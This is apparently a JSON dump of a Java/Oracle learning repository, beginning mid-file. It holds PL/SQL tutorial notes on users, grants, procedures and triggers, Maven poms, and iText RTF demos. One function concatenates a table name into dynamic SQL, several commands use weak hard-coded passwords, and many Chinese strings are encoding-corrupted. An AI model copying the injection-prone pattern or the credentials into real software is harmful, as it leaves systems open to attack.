dbms_output.put_line('ţ'||e.empno||''||e.ename||'нʣ'||e.sal);\n      fetch cType into e;\n    end loop;\n    close cType;\n  end if;\nend;"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_impexp.md",
    "content": "\nOracle 版本 11.2.0.1.0\nschema：zhuser\n使用expdp导出，用impdp导入\n表空间：\nTS_BUSIIDX_PTX                                                                                                                                                  \nTS_BUSI_PTX                                                                                                                                                     \nTS_DATA_LOB                                                                                                                                                     \nTS_DATA_PTX                                                                                                                                                     \nTS_IDX_PTX          \n\n\ncreate tablespace TS_BUSIIDX_PTX logging   datafile 'D:\\Oracle\\TS_BUSIIDX_PTX.dbf'  size 50m   autoextend on   next 50m ;\ncreate tablespace TS_BUSI_PTX logging   datafile 'D:\\Oracle\\TS_BUSI_PTX.dbf'  size 50m   autoextend on   next 50m ;\ncreate tablespace TS_DATA_LOB logging   datafile 'D:\\Oracle\\TS_DATA_LOB.dbf'  size 50m   autoextend on   next 50m ;\ncreate tablespace TS_DATA_PTX logging   datafile 'D:\\Oracle\\TS_DATA_PTX.dbf'  size 50m   autoextend on   next 50m ;\ncreate tablespace TS_IDX_PTX logging   datafile 'D:\\Oracle\\TS_IDX_PTX.dbf'  size 50m   autoextend on   next 50m ;\n\n\ncreate user zhuser identified by zhuser   default tablespace TS_DATA_PTX   temporary tablespace temp;  \n\ngrant connect, resource to zhuser; \ngrant create session to zhuser; \ngrant create table,create session,create view to zhuser ;\n\n\ngrant read,write on directory  DATA_FILE_DIR to zhuser;\n\ncreate directory dpdata1 as 'd:\\Oracle';\nimpdp scott/tiger DIRECTORY=dpdata1    DUMPFILE=‪expdp_140507_1450.dmp SCHEMAS=zhuser;\n\n\nimpdp system/passsystem directory=dmp_dir dumpfile=user1.dmp REMAP_SCHEMA=user1:user2"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_number.md",
    "content": "insert into t_number values(6,23.4564,123556);\n\nselect abs(n1) from t_number;\n\nselect round(n1,2) from t_number;\n\nselect ceil(-12.3) from dual;\n\nselect floor(-12.3) from dual;\n\nselect mod(5,3) from dual;\n\nselect sign(-100) from dual;\n\nselect sqrt(9) from dual;\n\nselect power(2,3) from dual;\n\nselect trunc(123.456,2) from dual;\n\n123.45\n\nselect to_char(123.45,'9999.999') from dual;\n\nselect to_char(123123,'99,999,999.99') from dual;\n\nselect to_char(123123.3,'FM99,999,999.99') from dual;\n\nselect to_char(123123.3,'FM$99,999,999.99') from dual;\n\nselect to_char(123123.3,'L99,999,999.99') from dual;\n\nselect to_char(123123.3,'FM99,999,999.99C') from dual;"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_package.md",
    "content": "create package pkg_book as\n   function getbookcount return number;\n   function getTableCount(table_name varchar2) return number;\n   procedure addBook(bookName in varchar2,typeId in number);\nend pkg_book;\n\n\ncreate package body pkg_book as\n\n       function getBookCount return number as\n          begin\n            declare book_count number;\n            begin\n              select count(*) into book_count from t_book;\n              return book_count;\n            end;\n        end getBookCount;\n        \n        \n        function getTableCount(table_name varchar2) return number as\n           begin\n              declare recore_count number;\n              query_sql varchar2(300);\n              begin\n                query_sql:='select count(*) from ' || table_name;\n                execute immediate query_sql into recore_count;\n                return recore_count;\n              end;\n          end getTableCount;\n          \n          \n          procedure addBook(bookName in varchar2,typeId in number) as\n            begin\n              declare maxId number;\n              begin\n                select max(id) into maxId from t_book;\n                insert into t_book values(maxId+1,bookName,typeId);\n                commit;\n              end;\n            end addBook;\n\n\nend pkg_book;\n\n\n\nset serveroutput on;\nbegin\n  dbms_output.put_line('t_book'|| pkg_book.getBookCount() ||'');\nend;\n\n\n\ncreate user TEST identified by 123456 default tablespace users;\n\ngrant create session to TEST;\n\nalter user TEST account lock;\n\nalter user TEST account unlock;\n\nalter user TEST identified by 123;\n\ndrop user TEST cascade;"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_plsql.md",
    "content": "set serverout on;\ndeclare n number:=1;\n        v varchar2(20):='world';\nbegin\n   dbms_output.put_line('hello'||n||v);\nend;\n\n\nset serverout on;\ndeclare emp_count number;\nbegin\n  select count(*) into emp_count from emp where sal>=3000;\n  if emp_count>0 then\n    dbms_output.put_line(''||emp_count||'ԱĻнʴڵ3000');\n  else\n    dbms_output.put_line('ûԱĻнʴڵ3000'); \n  end if;\nend;\n\n\nset serverout on;\ndeclare emp_count number;\nbegin\n  select count(*) into emp_count from emp where sal>=3000;\n  if emp_count=1 then\n    dbms_output.put_line('1ԱĻнʴڵ3000');\n  else if emp_count>1 then\n    dbms_output.put_line('г1ԱĻнʴڵ3000');\n  else\n    dbms_output.put_line('ûԱĻнʴڵ3000'); \n  end if;\n  end if;\nend;\n\nset serverout on;\ndeclare emp_count number;\nbegin\n  select count(*) into emp_count from emp where sal>=3000;\n  case emp_count\n    when 0 then dbms_output.put_line('ûԱĻнʴڵ3000');\n    when 1 then dbms_output.put_line('1ԱĻнʴڵ3000');\n    when 2 then dbms_output.put_line('2ԱĻнʴڵ3000');\n    when 3 then dbms_output.put_line('3ԱĻнʴڵ3000');\n    else dbms_output.put_line('3ԱĻнʴڵ3000');\n  end case;\nend;\n\nset serverout on;\ndeclare g_id number:=2;\n        g_losal number;\n        g_hisal number;\nbegin\n  loop\n    if(g_id>4) then\n      exit;\n    end if;\n    \n    select losal,hisal into g_losal,g_hisal from salgrade where grade=g_id;\n    dbms_output.put_line(g_id || 'ȼн'|| g_losal || 'нʣ' || g_hisal);\n    \n    g_id:=g_id+1;\n    \n  end loop;\nend;\n\n\nset serverout on;\ndeclare g_id number:=2;\n        g_losal number;\n        g_hisal number;\nbegin\n\n  while g_id<5 loop\n  \n     select losal,hisal into g_losal,g_hisal from salgrade where grade=g_id;\n     dbms_output.put_line(g_id || 'ȼн'|| g_losal || 'нʣ' || g_hisal);   \n     g_id:=g_id+1;\n  end loop;\n\nend;\n\n\nset serverout on;\ndeclare g_losal number;\n        g_hisal number;\nbegin\n  for g_id in 2..4 loop\n    select losal,hisal into g_losal,g_hisal from salgrade where grade=g_id;\n    dbms_output.put_line(g_id || 'ȼн'|| g_losal || 'нʣ' || g_hisal);   \n  end loop;\nend;"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_procedure.md",
    "content": "create function getBookCount return number as\nbegin\n  declare book_count number;\n  begin\n    select count(*) into book_count from t_book;\n    return book_count;\n  end;\nend getBookCount;\n\n\nset serveroutput on;\nbegin\n  dbms_output.put_line('t_book'|| getBookCount() ||'');\nend;\n\n\ncreate function getTableCount(table_name varchar2) return number as\nbegin\n  declare recore_count number;\n  query_sql varchar2(300);\n  begin\n    query_sql:='select count(*) from ' || table_name;\n    execute immediate query_sql into recore_count;\n    return recore_count;\n  end;\nend getTableCount;\n\n\nbegin\n  dbms_output.put_line(''|| getTableCount('t_bookType') ||'');\nend;\n\n\ncreate procedure addBook(bookName in varchar2,typeId in number) as\nbegin\n  declare maxId number;\n  begin\n    select max(id) into maxId from t_book;\n    insert into t_book values(maxId+1,bookName,typeId);\n    commit;\n  end;\nend addBook;\n\nexecute addBook('javaö',1);\n\n\ncreate procedure addBook2(bN in varchar2,typeId in number) as\nbegin\n  declare maxId number;\n  n number;\n  begin\n    select count(*) into n from t_book where bookName=bN;\n    if(n>0) then\n     return;\n    end if;\n    select max(id) into maxId from t_book;\n    insert into t_book values(maxId+1,bN,typeId);\n    commit;\n  end;\nend addBook2;\n\nexecute addBook2('javaö33',1);\n\n\ncreate procedure addBook3(bN in varchar2,typeId in number,n1 out number,n2 out number) as\nbegin\n  declare maxId number;\n  n number;\n  begin\n    select count(*) into n1 from t_book;\n    select count(*) into n from t_book where bookName=bN;\n    if(n>0) then\n     return;\n    end if;\n    select max(id) into maxId from t_book;\n    insert into t_book values(maxId+1,bN,typeId);\n    select count(*) into n2 from t_book;\n    commit;\n  end;\nend addBook3;\n\ndeclare n1 number;\n        n2 number;\nbegin\n  addBook3('Ⱥ33223',2,n1,n2);\n  dbms_output.put_line('n1='||n1);\n  dbms_output.put_line('n2='||n2);\nend;"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_role.md",
    "content": "create user TEST identified by 123456 default tablespace users;\n\n\n\n\ncreate user TEST identified by 123456 default tablespace users;\n\ngrant create session to TEST;\n\ngrant create table to TEST;\n\nselect * from dba_sys_privs;\n\ncreate user TEST2 identified by 123456 default tablespace users;\n\ngrant create session,create table to TEST with admin option;\n\nrevoke create session,create table from TEST;\n\ncreate user TEST2 identified by 123456 default tablespace users;\n\ngrant create session to TEST2;\n\ngrant create table to TEST2;\n\n\n\ngrant create session to TEST;\n\ngrant create table to TEST;\n\n\nselect * from sys.aa ;\n\nȨ\n\ngrant select on AA to TEST;\n\nupdate sys.AA set name='Ⱥ';\n\ndelete from sys.AA ;\n\ngrant all on AA to TEST;\n\n\n\ngrant select on sys.AA to TEST2;\n\n\ngrant select on AA to TEST with grant option;\n\nselect * from dba_tab_privs where grantee='TEST'\n\n\nrevoke update on AA from TEST;\n\n\nɫ\nselect * from dba_roles;\n\n\ngrant select, update,insert ,delete on AA to role_AA;\n\n\nrevoke all on AA from TEST,TEST2;\n\ngrant role_AA to TEST;\n\n"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_sqltxt.md",
    "content": "select t.*, t.rowid from T_BOOK t\n\ninsert into t_book values(6,'xx7',2);\n\ndelete from t_book where id=6;\n\nupdate t_book set bookname='xx4' where id=4;\n\n\n\ncreate trigger tr_book\nbefore insert\non t_book\nbegin\n  if user!='cc' then\n    raise_application_error(-20001,'Ȩ޲');\n  end if;\nend;\n\n\ncreate trigger tr_book2\nbefore update or delete\non t_book\nbegin\n  if user!='CC' then\n    raise_application_error(-20001,'Ȩ޲');\n  end if;\nend;\n\ncreate trigger tr_book_log\nafter insert or update or delete\non t_book\nbegin\n  if updating then\n    insert into t_book_log values(user,'update',sysdate);\n  else if inserting then\n    insert into t_book_log values(user,'insert',sysdate);\n  else if deleting then\n    insert into t_book_log values(user,'delete',sysdate);\n  end if;\n  end if;\n  end if;\nend;\n\ncreate trigger tr_book_add\nafter insert\non t_book\nfor each row\nbegin\n  update t_booktype set num=num+1 where id=:new.typeId;\nend;\n\ncreate trigger tr_book_delete\nafter delete\non t_book\nfor each row\nbegin\n  update t_booktype set num=num-1 where id=:old.typeId;\nend;\n\n"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_sum.md",
    "content": "select max(sal)  from emp ;\nselect min(sal)  from emp ;\nselect avg(sal)  from emp ;\nselect sum(sal)  from emp ;\nselect count(ename)  from emp ;\n\nselect ename,nvl(sal,0) from emp;\n\nselect e.*,rownum from emp e;\n\n select * from (select a.*,rownum rn from (select * from emp) a where rownum<=10) where rn>5;\n \n select 2+1 from dual;\nselect 2-1 from dual;\nselect 2*1 from dual;\nselect 2/1 from dual;\n\nselect * from emp where sal between 900 and 1500;\n\nselect * from emp where sal>=900 and sal<=1500;\n\nselect distinct ename from bonus\n\nselect ename,hiredate from emp where ename in (select distinct ename from bonus)\n\nselect * from emp where ename like '%M%'\nselect * from emp where ename like 'M%'\nselect * from emp where ename like '_M%'"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_to_data2.md",
    "content": "select * from T_DATE t\n\nselect add_months(d1,2) from t_date where id=1;\n\nselect last_day(d1) from t_date where id=1;\n\nupdate t_date set d3=to_date('2016-12-20','YYYY-MM-DD') where id=1;\n\nupdate t_date set d3=to_date('2016-12-20 18:31:34','YYYY-MM-DD HH24:MI:SS') where id=1;\n\nselect months_between(d1,d3) from t_date where id=1;\n\nselect next_day(d1,2) from t_date where id=1;\n\nselect trunc(d1,'YYYY') from t_date where id=1;\nselect trunc(d1,'MM') from t_date where id=1;\nselect trunc(d1,'DD') from t_date where id=1;\nselect trunc(d1,'HH') from t_date where id=1;\nselect trunc(d1,'MI') from t_date where id=1;\n\n\nselect extract(year from sysdate) from dual;\nselect extract(month from sysdate) from dual;\nselect extract(day from sysdate) from dual;\nselect extract(Hour from systimestamp) from dual;\nselect extract(minute from systimestamp) from dual;\nselect extract(second from systimestamp) from dual;\n\nselect to_char(d1,'YYYY-MM-DD') from t_date where id=1;\nselect to_char(d1,'YYYY-MM-DD HH24:MI:SS') from t_date where id=1;"
  },
  {
    "path": "jun_java_plugins/jun_oracle/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_oracle</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\t\n\t\n  <distributionManagement>\n    <site>\n      <id>website</id>\n      <url>scp://webhost.company.com/www/website</url>\n    </site>\n  </distributionManagement>\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_oracle/src/site/apt/index.apt",
    "content": " -----\n Title Here\n -----\n Author Here\n -----\n Date Here\n -----\n\nMaven Site for your project\n\n Congratulations! If you are looking at this page then you have successfully generated a\n template site employing the site archetype and you have run:\n  \n+-----+\n\nmvn site\n\n+-----+\n"
  },
  {
    "path": "jun_java_plugins/jun_oracle/src/site/site.xml",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n\n<project name=\"Maven\" xmlns=\"http://maven.apache.org/DECORATION/1.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/DECORATION/1.0.0 http://maven.apache.org/xsd/decoration-1.0.0.xsd\">\n  <body>\n    <links>\n      <item name=\"Maven\" href=\"http://maven.apache.org/\"/>\n    </links>\n\n    <menu name=\"Documentation\">\n      <!--<item name=\"Xdoc Example\" href=\"xdoc.html\"/>-->\n    </menu>\n  </body>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_pay/jun_pay_weixin/readme.md",
    "content": "1"
  },
  {
    "path": "jun_java_plugins/jun_pay/jun_pay_zhifubao/readme.md",
    "content": "1"
  },
  {
    "path": "jun_java_plugins/jun_pay/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_pay</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<modules>\n\t\t<!-- <module>jun_pay_weixin</module> -->\n\t\t<!-- <module>jun_pay_zhifubao</module> -->\n\t</modules>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk-1.8</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<jdk>1.8</jdk>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_pdf/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_pdf</artifactId>\n\t<version>1.0</version>\n\n\t<dependencies>\n\t\t<!-- https://mvnrepository.com/artifact/com.lowagie/itext -->\n\t\t<dependency>\n\t\t\t<groupId>com.lowagie</groupId>\n\t\t\t<artifactId>itext</artifactId>\n\t\t\t<version>2.1.7</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.lowagie/itext-rtf -->\n\t\t<dependency>\n\t\t\t<groupId>com.lowagie</groupId>\n\t\t\t<artifactId>itext-rtf</artifactId>\n\t\t\t<version>2.1.7</version>\n\t\t</dependency>\n\n\n\t</dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_pdf/src/main/java/com/jun/plugin/pdf/itext/CreateWordDemo.java",
    "content": "package com.jun.plugin.pdf.itext;\nimport java.awt.Color;  \nimport java.io.FileOutputStream;  \nimport java.io.IOException;  \nimport com.lowagie.text.Cell;  \nimport com.lowagie.text.Document;  \nimport com.lowagie.text.DocumentException;  \nimport com.lowagie.text.Element;  \nimport com.lowagie.text.Font;  \nimport com.lowagie.text.FontFactory;  \nimport com.lowagie.text.Image;  \nimport com.lowagie.text.PageSize;  \nimport com.lowagie.text.Paragraph;  \nimport com.lowagie.text.Phrase;  \nimport com.lowagie.text.Table;  \nimport com.lowagie.text.pdf.BaseFont;  \nimport com.lowagie.text.rtf.RtfWriter2;  \n  \n/** \n * @author Wujun\n * @email  \n * @createDate  \n */  \npublic class CreateWordDemo  \n{  \n    public void createDocContext(String file) throws DocumentException,  \n            IOException  \n    {  \n        // 设置纸张大小   \n        Document document = new Document(PageSize.A4);  \n        // 建立一个书写器(Writer)与document对象关联，通过书写器(Writer)可以将文档写入到磁盘中   \n        RtfWriter2.getInstance(document, new FileOutputStream(file));  \n        document.open();  \n        // 设置中文字体   \n        BaseFont bfChinese = BaseFont.createFont(\"STSongStd-Light\",  \n                \"UniGB-UCS2-H\", BaseFont.NOT_EMBEDDED);  \n        // 标题字体风格   \n        Font titleFont = new Font(bfChinese, 12, Font.BOLD);  \n        // 正文字体风格   \n        Font contextFont = new Font(bfChinese, 10, Font.NORMAL);  \n        Paragraph title = new Paragraph(\"标题\");  \n        // 设置标题格式对齐方式   \n        title.setAlignment(Element.ALIGN_CENTER);  \n//        title.setFont(titleFont);  \n        document.add(title);  \n        String contextString = \"iText是一个能够快速产生PDF文件的java类库。\"  \n                + \" \\n\"// 换行   \n                + \"iText的java类对于那些要产生包含文本，\"  \n                + \"表格，图形的只读文档是很有用的。它的类库尤其与java Servlet有很好的给合。\"  \n                + \"使用iText与PDF能够使你正确的控制Servlet的输出。\";  \n        Paragraph context = new Paragraph(contextString);  \n        // 正文格式左对齐   \n        context.setAlignment(Element.ALIGN_LEFT);  \n//        context.setFont(contextFont);  \n        // 离上一段落（标题）空的行数   \n        context.setSpacingBefore(5);  \n        // 设置第一行空的列数   \n        context.setFirstLineIndent(20);  \n        document.add(context);  \n        // 利用类FontFactory结合Font和Color可以设置各种各样字体样式   \n        /** \n         * Font.UNDERLINE 下划线，Font.BOLD 粗体 \n         */  \n        Paragraph underline = new Paragraph(\"下划线的实现\", FontFactory.getFont(  \n                FontFactory.HELVETICA_BOLDOBLIQUE, 18, Font.UNDERLINE,  \n                new Color(0, 0, 255)));  \n        document.add(underline);  \n        // 设置 Table 表格   \n        Table aTable = new Table(3);  \n        int width[] =  \n        { 25, 25, 50 };  \n        aTable.setWidths(width);// 设置每列所占比例   \n        aTable.setWidth(90); // 占页面宽度 90%   \n        aTable.setAlignment(Element.ALIGN_CENTER);// 居中显示   \n        aTable.setAlignment(Element.ALIGN_MIDDLE);// 纵向居中显示   \n        aTable.setAutoFillEmptyCells(true); // 自动填满   \n        aTable.setBorderWidth(1); // 边框宽度   \n        aTable.setBorderColor(new Color(0, 125, 255)); // 边框颜色   \n        aTable.setPadding(2);// 衬距，看效果就知道什么意思了   \n        aTable.setSpacing(0);// 即单元格之间的间距   \n        aTable.setBorder(2);// 边框   \n        // 设置表头   \n        /** \n         * cell.setHeader(true);是将该单元格作为表头信息显示； cell.setColspan(3);指定了该单元格占3列； \n         * 为表格添加表头信息时，要注意的是一旦表头信息添加完了之后， 必须调用 endHeaders()方法，否则当表格跨页后，表头信息不会再显示 \n         */  \n        Cell haderCell = new Cell(\"表格表头\");  \n        haderCell.setHeader(true);  \n        haderCell.setColspan(3);  \n        aTable.addCell(haderCell);  \n        aTable.endHeaders();  \n        Font fontChinese = new Font(bfChinese, 12, Font.NORMAL, Color.GREEN);  \n        Cell cell = new Cell(new Phrase(\"这是一个测试的 3*3 Table 数据\", fontChinese));  \n        cell.setVerticalAlignment(Element.ALIGN_TOP);  \n        cell.setBorderColor(new Color(255, 0, 0));  \n        cell.setRowspan(2);  \n        aTable.addCell(cell);  \n        aTable.addCell(new Cell(\"#1\"));  \n        aTable.addCell(new Cell(\"#2\"));  \n        aTable.addCell(new Cell(\"#3\"));  \n        aTable.addCell(new Cell(\"#4\"));  \n        Cell cell3 = new Cell(new Phrase(\"一行三列数据\", fontChinese));  \n        cell3.setColspan(3);  \n        cell3.setVerticalAlignment(Element.ALIGN_CENTER);  \n        aTable.addCell(cell3);  \n        document.add(aTable);  \n        document.add(new Paragraph(\"\\n\"));  \n        // 添加图片   \n        Image img = Image.getInstance(\"e:\\\\test1.jpg\");  \n        img.setAbsolutePosition(0, 0);  \n        img.setAlignment(Image.RIGHT);// 设置图片显示位置   \n        img.scaleAbsolute(12, 35);// 直接设定显示尺寸   \n        img.scalePercent(50);// 表示显示的大小为原尺寸的50%   \n        img.scalePercent(25, 12);// 图像高宽的显示比例   \n        img.setRotation(30);// 图像旋转一定角度   \n        document.add(img);  \n        document.close();  \n    }  \n  \n    /** \n     * @param args \n     */  \n    public static void main(String[] args)  \n    {  \n        CreateWordDemo word = new CreateWordDemo();  \n        String file = \"e:/demo1.doc\";  \n        try  \n        {  \n            word.createDocContext(file);  \n        } catch (DocumentException e)  \n        {  \n            e.printStackTrace();  \n        } catch (IOException e)  \n        {  \n            e.printStackTrace();  \n        }  \n  \n    }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_pdf/src/main/java/com/jun/plugin/pdf/itext/OperatorRTF.java",
    "content": "package com.jun.plugin.pdf.itext;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.PrintWriter;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n \npublic class OperatorRTF {\n \n\t/**\n\t * 字符串转换为rtf编码\n\t * @param content\n\t * @return\n\t */\n\tpublic String strToRtf(String content){\n\t\tchar[] digital = \"0123456789ABCDEF\".toCharArray();\n        StringBuffer sb = new StringBuffer(\"\");\n        byte[] bs = content.getBytes();\n        int bit;\n        for (int i = 0; i < bs.length; i++) {\n            bit = (bs[i] & 0x0f0) >> 4;\n        \tsb.append(\"\\\\'\");\n            sb.append(digital[bit]);\n            bit = bs[i] & 0x0f;\n            sb.append(digital[bit]);\n        }\n        return sb.toString();\n\t}\n\t\n\t/**\n\t * 替换文档的可变部分\n\t * @param content\n\t * @param replacecontent\n\t * @param flag\n\t * @return\n\t */\n\tpublic String replaceRTF(String content,String replacecontent,int flag){\n\t\tString rc = strToRtf(replacecontent);\n\t\tString target = \"\";\n\t\t/*if(flag==0){\n\t\t\ttarget = content.replace(\"$time$\",rc);\n\t\t}*/\n\t\tif(flag==0){\n\t\t\ttarget = content.replace(\"$timetop$\",rc);\n\t\t}\n\t\tif(flag==1){\n\t\t\ttarget = content.replace(\"$info$\",rc);\n\t\t}\n\t\tif(flag==2){\n\t\t\ttarget = content.replace(\"$idea$\",rc);\n\t\t}\n\t\tif(flag==3){\n\t\t\ttarget = content.replace(\"$advice$\",rc);\n\t\t}\n\t\tif(flag==4){\n\t\t\ttarget = content.replace(\"$infosend$\",rc);\n\t\t}\n\t\treturn target;\n\t}\n\t\n\t/**\n\t * 获取文件路径\n\t * @param flag\n\t * @return\n\t */\n\tpublic String getSavePath() {\n\t\t\n\t\tString path = \"C:\\\\YQ\";\n\t\t\n\t\tFile fDirecotry = new File(path);\n\t\tif (!fDirecotry.exists()) {\n\t\t\tfDirecotry.mkdirs();\n\t\t}\n\t\treturn path;\n\t}\n\t\n\t/**\n\t * 半角转为全角\n\t */\n\tpublic String ToSBC(String input){\n\t    char[] c = input.toCharArray();\n\t    for (int i = 0; i < c.length; i++){\n\t        if (c[i] == 32){\n\t            c[i] = (char) 12288;\n\t            continue;\n\t        }\n\t        if (c[i] < 127){\n\t        \tc[i] = (char) (c[i] + 65248);\n\t        }\n\t    }\n\t    return new String(c);\n\t}\n\t\n\tpublic void rgModel(String username, String content) {\n\t\t// TODO Auto-generated method stub\n\t\t/*  构建生成文件名 targetname:12时10分23秒_username_记录.rtf */\n\t\tDate current=new Date();\n        SimpleDateFormat sdf=new java.text.SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\t\tString targetname = sdf.format(current).substring(11,13) + \"时\";\n\t\ttargetname += sdf.format(current).substring(14,16) + \"分\";\n\t\ttargetname += sdf.format(current).substring(17,19) + \"秒\";\n\t\ttargetname += \"_\" + username +\"_记录.rtf\";\n\t\t\n\t\t/* 字节形式读取模板文件内容,将结果转为字符串 */\n\t\tString strpath = getSavePath();\n\t\tString sourname = strpath+\"\\\\\"+\"模板.rtf\";\n\t\tString sourcecontent = \"\";\n\t\tInputStream ins = null;\n\t\ttry{\n\t\t\t ins = new FileInputStream(sourname);\n\t\t\t byte[] b = new byte[1024];\n\t         if (ins == null) {\n\t              System.out.println(\"源模板文件不存在\");\n\t         }\n\t         int bytesRead = 0;\n\t         while (true) {\n\t             bytesRead = ins.read(b, 0, 1024); // return final read bytes counts\n\t             if(bytesRead == -1) {// end of InputStream\n\t            \t System.out.println(\"读取模板文件结束\");\n\t            \t break;\n\t             }\n\t             sourcecontent += new String(b, 0, bytesRead); // convert to string using bytes\n\t          }\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\t/* 修改变化部分 */\n\t\tString targetcontent = \"\";\n\t\t/**\n\t\t * 拆分之后的数组元素与模板中的标识符对应关系\n\t\t * array[0]:timetop    \n\t\t * array[1]:info\t\t\n\t\t * array[2]:idea\t\t\n\t\t * array[3]:advice\t\t\n\t\t * array[4]:infosend\t\n\t\t */\n\t\tString array[] = content.split(\"~\");\n\t\t/**\n\t\t * 2008年11月27日：更新模板之后时间无需自动填充\n\t\t */\n\t\t/*String nowtime = sdf.format(current).substring(0,4) + \"年\";\n\t\tnowtime += sdf.format(current).substring(5,7) + \"月\";\n\t\tnowtime += sdf.format(current).substring(8,10) + \"日\";*/\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\t/*if(i==0){\n\t\t\t\ttargetcontent = documentDoc.replaceRTF(sourcecontent,nowtime,i);\n\t\t\t}else{\n\t\t\t\ttargetcontent = documentDoc.replaceRTF(targetcontent,array[i-1],i);\n\t\t\t}*/\n\t\t\tif(i==0){\n\t\t\t\ttargetcontent = replaceRTF(sourcecontent, array[i], i);\n\t\t\t}else{\n\t\t\t\ttargetcontent = replaceRTF(targetcontent, array[i], i);\n\t\t\t}\n\t\t\t\n\t\t}\t\n\t\t/* 结果输出保存到文件 */\n\t\ttry {\n\t\t\tFileWriter fw = new FileWriter(getSavePath()+\"\\\\\" + targetname,true);\n            PrintWriter out = new PrintWriter(fw);\n            if(targetcontent.equals(\"\")||targetcontent==\"\"){\n            \tout.println(sourcecontent);\n            }else{\n            \tout.println(targetcontent);\n            }\n            out.close();\n            fw.close();\n            System.out.println(getSavePath()+\"  该目录下生成文件\" + targetname + \" 成功\");\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tOperatorRTF oRTF = new OperatorRTF();\n\t\t/**\n\t\t * 被替换内容以\"~\"符号分割,处理的时候将其拆分为数组即可\n\t\t */\n\t\tString content = 